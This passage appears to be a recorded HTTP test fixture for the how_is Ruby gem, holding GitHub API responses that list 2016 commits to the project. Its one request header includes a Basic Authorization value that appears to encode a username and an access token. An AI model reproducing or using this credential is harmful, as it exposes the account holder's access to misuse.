consistent.","tree":{"sha":"666088bd6d923b6c4b47d0a4c53d871c112f30de","url":"https://api.github.com/repos/how-is/how_is/git/trees/666088bd6d923b6c4b47d0a4c53d871c112f30de"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/6d81a8c38956d8ec39b063f24e9fb40ec948a7de","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/6d81a8c38956d8ec39b063f24e9fb40ec948a7de","html_url":"https://github.com/how-is/how_is/commit/6d81a8c38956d8ec39b063f24e9fb40ec948a7de","comments_url":"https://api.github.com/repos/how-is/how_is/commits/6d81a8c38956d8ec39b063f24e9fb40ec948a7de/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"086d71381617da72f509db3054a9eb3106f5b45b","url":"https://api.github.com/repos/how-is/how_is/commits/086d71381617da72f509db3054a9eb3106f5b45b","html_url":"https://github.com/how-is/how_is/commit/086d71381617da72f509db3054a9eb3106f5b45b"}]},{"sha":"086d71381617da72f509db3054a9eb3106f5b45b","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6MDg2ZDcxMzgxNjE3ZGE3MmY1MDlkYjMwNTRhOWViMzEwNmY1YjQ1Yg==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-07-29T00:00:51Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-07-29T00:00:51Z"},"message":"Run both RSpec and Cucumber tests on Travis CI.","tree":{"sha":"b0d5d9e29bdaad9abd25c592af2ebf1a3d475ab3","url":"https://api.github.com/repos/how-is/how_is/git/trees/b0d5d9e29bdaad9abd25c592af2ebf1a3d475ab3"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/086d71381617da72f509db3054a9eb3106f5b45b","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/086d71381617da72f509db3054a9eb3106f5b45b","html_url":"https://github.com/how-is/how_is/commit/086d71381617da72f509db3054a9eb3106f5b45b","comments_url":"https://api.github.com/repos/how-is/how_is/commits/086d71381617da72f509db3054a9eb3106f5b45b/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"1ad47bbe778185f3c8fa4a62bac8d03eb25c1304","url":"https://api.github.com/repos/how-is/how_is/commits/1ad47bbe778185f3c8fa4a62bac8d03eb25c1304","html_url":"https://github.com/how-is/how_is/commit/1ad47bbe778185f3c8fa4a62bac8d03eb25c1304"}]},{"sha":"1ad47bbe778185f3c8fa4a62bac8d03eb25c1304","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6MWFkNDdiYmU3NzgxODVmM2M4ZmE0YTYyYmFjOGQwM2ViMjVjMTMwNA==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-07-28T23:54:14Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-07-28T23:54:31Z"},"message":"read-only URL.","tree":{"sha":"9a47de409b6e11355fad1ce41f88c3924a3d8032","url":"https://api.github.com/repos/how-is/how_is/git/trees/9a47de409b6e11355fad1ce41f88c3924a3d8032"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/1ad47bbe778185f3c8fa4a62bac8d03eb25c1304","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/1ad47bbe778185f3c8fa4a62bac8d03eb25c1304","html_url":"https://github.com/how-is/how_is/commit/1ad47bbe778185f3c8fa4a62bac8d03eb25c1304","comments_url":"https://api.github.com/repos/how-is/how_is/commits/1ad47bbe778185f3c8fa4a62bac8d03eb25c1304/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"0c246f5d1487adc3f2d84628f25779cab8d52670","url":"https://api.github.com/repos/how-is/how_is/commits/0c246f5d1487adc3f2d84628f25779cab8d52670","html_url":"https://github.com/how-is/how_is/commit/0c246f5d1487adc3f2d84628f25779cab8d52670"}]},{"sha":"0c246f5d1487adc3f2d84628f25779cab8d52670","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6MGMyNDZmNWQxNDg3YWRjM2YyZDg0NjI4ZjI1Nzc5Y2FiOGQ1MjY3MA==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-07-28T23:43:13Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-07-28T23:43:13Z"},"message":"Beginning of work for integration tests.","tree":{"sha":"35787bd07479db005aa45eeadff29c615b4fb0a6","url":"https://api.github.com/repos/how-is/how_is/git/trees/35787bd07479db005aa45eeadff29c615b4fb0a6"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/0c246f5d1487adc3f2d84628f25779cab8d52670","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/0c246f5d1487adc3f2d84628f25779cab8d52670","html_url":"https://github.com/how-is/how_is/commit/0c246f5d1487adc3f2d84628f25779cab8d52670","comments_url":"https://api.github.com/repos/how-is/how_is/commits/0c246f5d1487adc3f2d84628f25779cab8d52670/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"82ab6199827bad64cd471c03939af00a7728d3c8","url":"https://api.github.com/repos/how-is/how_is/commits/82ab6199827bad64cd471c03939af00a7728d3c8","html_url":"https://github.com/how-is/how_is/commit/82ab6199827bad64cd471c03939af00a7728d3c8"}]},{"sha":"82ab6199827bad64cd471c03939af00a7728d3c8","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6ODJhYjYxOTk4MjdiYWQ2NGNkNDcxYzAzOTM5YWYwMGE3NzI4ZDNjOA==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-07-28T21:01:43Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-07-28T21:01:43Z"},"message":"Version bump. Again.","tree":{"sha":"c56bf332800b41434af9d703e14011010c61151d","url":"https://api.github.com/repos/how-is/how_is/git/trees/c56bf332800b41434af9d703e14011010c61151d"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/82ab6199827bad64cd471c03939af00a7728d3c8","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/82ab6199827bad64cd471c03939af00a7728d3c8","html_url":"https://github.com/how-is/how_is/commit/82ab6199827bad64cd471c03939af00a7728d3c8","comments_url":"https://api.github.com/repos/how-is/how_is/commits/82ab6199827bad64cd471c03939af00a7728d3c8/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"57cfc86d21fd3335d76ce12a5fed1af89b4c1bd9","url":"https://api.github.com/repos/how-is/how_is/commits/57cfc86d21fd3335d76ce12a5fed1af89b4c1bd9","html_url":"https://github.com/how-is/how_is/commit/57cfc86d21fd3335d76ce12a5fed1af89b4c1bd9"}]}]' http_version: recorded_at: Fri, 26 Apr 2019 20:32:47 GMT - request: method: get uri: https://api.github.com/repositories/54295243/commits?author=me@duckie.co&page=12&per_page=30&until=2017-07-01 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Fri, 26 Apr 2019 20:32:47 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '3333' X-Ratelimit-Reset: - '1556311539' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"d5e3539bc98744e3efa21f6397a535f3" Last-Modified: - Thu, 28 Jul 2016 20:57:25 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Link: - ; rel="next", ; rel="last", ; rel="first", ; rel="prev" Access-Control-Expose-Headers: - ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type Access-Control-Allow-Origin: - "*" Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Frame-Options: - deny X-Content-Type-Options: - nosniff X-Xss-Protection: - 1; mode=block Referrer-Policy: - origin-when-cross-origin, strict-origin-when-cross-origin Content-Security-Policy: - default-src 'none' X-Github-Request-Id: - EC13:4020:13EDCC:31320A:5CC36AEF body: encoding: ASCII-8BIT string: '[{"sha":"57cfc86d21fd3335d76ce12a5fed1af89b4c1bd9","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6NTdjZmM4NmQyMWZkMzMzNWQ3NmNlMTJhNWZlZDFhZjg5YjRjMWJkOQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-07-28T20:57:21Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-07-28T20:57:25Z"},"message":"ProTip: Actually require the files you need.","tree":{"sha":"56230cb2d9681cf634a1f80934bbb900525fb079","url":"https://api.github.com/repos/how-is/how_is/git/trees/56230cb2d9681cf634a1f80934bbb900525fb079"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/57cfc86d21fd3335d76ce12a5fed1af89b4c1bd9","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/57cfc86d21fd3335d76ce12a5fed1af89b4c1bd9","html_url":"https://github.com/how-is/how_is/commit/57cfc86d21fd3335d76ce12a5fed1af89b4c1bd9","comments_url":"https://api.github.com/repos/how-is/how_is/commits/57cfc86d21fd3335d76ce12a5fed1af89b4c1bd9/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"14ba218611c9e6af65dc4c06cf4ce1dcb738ae87","url":"https://api.github.com/repos/how-is/how_is/commits/14ba218611c9e6af65dc4c06cf4ce1dcb738ae87","html_url":"https://github.com/how-is/how_is/commit/14ba218611c9e6af65dc4c06cf4ce1dcb738ae87"}]},{"sha":"14ba218611c9e6af65dc4c06cf4ce1dcb738ae87","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6MTRiYTIxODYxMWM5ZTZhZjY1ZGM0YzA2Y2Y0Y2UxZGNiNzM4YWU4Nw==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-07-28T20:47:33Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-07-28T20:47:33Z"},"message":"Version bump.","tree":{"sha":"ee8f20ba05cc3aa7fcffdb45ce44a03732249816","url":"https://api.github.com/repos/how-is/how_is/git/trees/ee8f20ba05cc3aa7fcffdb45ce44a03732249816"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/14ba218611c9e6af65dc4c06cf4ce1dcb738ae87","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/14ba218611c9e6af65dc4c06cf4ce1dcb738ae87","html_url":"https://github.com/how-is/how_is/commit/14ba218611c9e6af65dc4c06cf4ce1dcb738ae87","comments_url":"https://api.github.com/repos/how-is/how_is/commits/14ba218611c9e6af65dc4c06cf4ce1dcb738ae87/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"14f284dd39f3486941fe0ee88ec055949d4f4bb4","url":"https://api.github.com/repos/how-is/how_is/commits/14f284dd39f3486941fe0ee88ec055949d4f4bb4","html_url":"https://github.com/how-is/how_is/commit/14f284dd39f3486941fe0ee88ec055949d4f4bb4"}]},{"sha":"14f284dd39f3486941fe0ee88ec055949d4f4bb4","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6MTRmMjg0ZGQzOWYzNDg2OTQxZmUwZWU4OGVjMDU1OTQ5ZDRmNGJiNA==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-07-28T20:47:17Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-07-28T20:47:17Z"},"message":"Implement --version/-v flags.","tree":{"sha":"e3aa50fb3fc7050ef53d8e22f571e9c0fe2a6189","url":"https://api.github.com/repos/how-is/how_is/git/trees/e3aa50fb3fc7050ef53d8e22f571e9c0fe2a6189"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/14f284dd39f3486941fe0ee88ec055949d4f4bb4","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/14f284dd39f3486941fe0ee88ec055949d4f4bb4","html_url":"https://github.com/how-is/how_is/commit/14f284dd39f3486941fe0ee88ec055949d4f4bb4","comments_url":"https://api.github.com/repos/how-is/how_is/commits/14f284dd39f3486941fe0ee88ec055949d4f4bb4/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"bb5914b926b31feb30a124e6c20963ed7d8cbf15","url":"https://api.github.com/repos/how-is/how_is/commits/bb5914b926b31feb30a124e6c20963ed7d8cbf15","html_url":"https://github.com/how-is/how_is/commit/bb5914b926b31feb30a124e6c20963ed7d8cbf15"}]},{"sha":"bb5914b926b31feb30a124e6c20963ed7d8cbf15","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6YmI1OTE0YjkyNmIzMWZlYjMwYTEyNGU2YzIwOTYzZWQ3ZDhjYmYxNQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-07-28T20:44:09Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-07-28T20:44:09Z"},"message":"Version bump.","tree":{"sha":"59560441b965c10943543e0beb0eaece1feea81d","url":"https://api.github.com/repos/how-is/how_is/git/trees/59560441b965c10943543e0beb0eaece1feea81d"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/bb5914b926b31feb30a124e6c20963ed7d8cbf15","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/bb5914b926b31feb30a124e6c20963ed7d8cbf15","html_url":"https://github.com/how-is/how_is/commit/bb5914b926b31feb30a124e6c20963ed7d8cbf15","comments_url":"https://api.github.com/repos/how-is/how_is/commits/bb5914b926b31feb30a124e6c20963ed7d8cbf15/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"e2715c00e2bbfac9660f82f44a8828d595822916","url":"https://api.github.com/repos/how-is/how_is/commits/e2715c00e2bbfac9660f82f44a8828d595822916","html_url":"https://github.com/how-is/how_is/commit/e2715c00e2bbfac9660f82f44a8828d595822916"}]},{"sha":"e2715c00e2bbfac9660f82f44a8828d595822916","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6ZTI3MTVjMDBlMmJiZmFjOTY2MGY4MmY0NGE4ODI4ZDU5NTgyMjkxNg==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-07-28T20:43:53Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-07-28T20:43:53Z"},"message":"Add information about config files in the README.","tree":{"sha":"b6d8feb2e8e1b226cc6c97ac058ff6f6e475a858","url":"https://api.github.com/repos/how-is/how_is/git/trees/b6d8feb2e8e1b226cc6c97ac058ff6f6e475a858"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/e2715c00e2bbfac9660f82f44a8828d595822916","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/e2715c00e2bbfac9660f82f44a8828d595822916","html_url":"https://github.com/how-is/how_is/commit/e2715c00e2bbfac9660f82f44a8828d595822916","comments_url":"https://api.github.com/repos/how-is/how_is/commits/e2715c00e2bbfac9660f82f44a8828d595822916/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinat